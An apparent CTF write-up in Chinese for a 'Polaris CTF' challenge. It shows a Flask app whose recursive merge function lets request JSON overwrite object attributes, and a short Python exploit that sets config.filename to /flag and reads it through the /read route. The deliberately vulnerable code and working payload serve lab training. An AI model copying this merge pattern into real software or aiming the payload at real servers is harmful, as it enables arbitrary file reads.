1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from flask import Flask, request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Config:
def __init__(self):
self.filename = "app.py"

class Polaris:
def __init__(self):
self.config = Config()

instance = Polaris()

@app.route('/', methods=['GET', 'POST'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "Welcome to Polaris CTF"

@app.route('/read')
def read():
return open(instance.config.filename).read()

@app.route('/src')
def src():
return open(__file__).read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

题目直接给了源码,题目样子像是模仿了一个原型链,会将请求体的json数据加载成一个Python对象,然后合并到instance对象中

路由/read用于将instance.config.filename的值当作文件名,读取后返回文件内容,从源码可以看到默认文件名为app.py,但是我们可以通过merge函数的功能把filename覆盖为/flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import json

url = "http://127.0.0.1:5000"

payload = {
"config": {
"filename": "/flag"
}
}

response = requests.post(url, json=payload)

response = requests.get(f"{url}/read")
print(response.text)

image-20260331100055275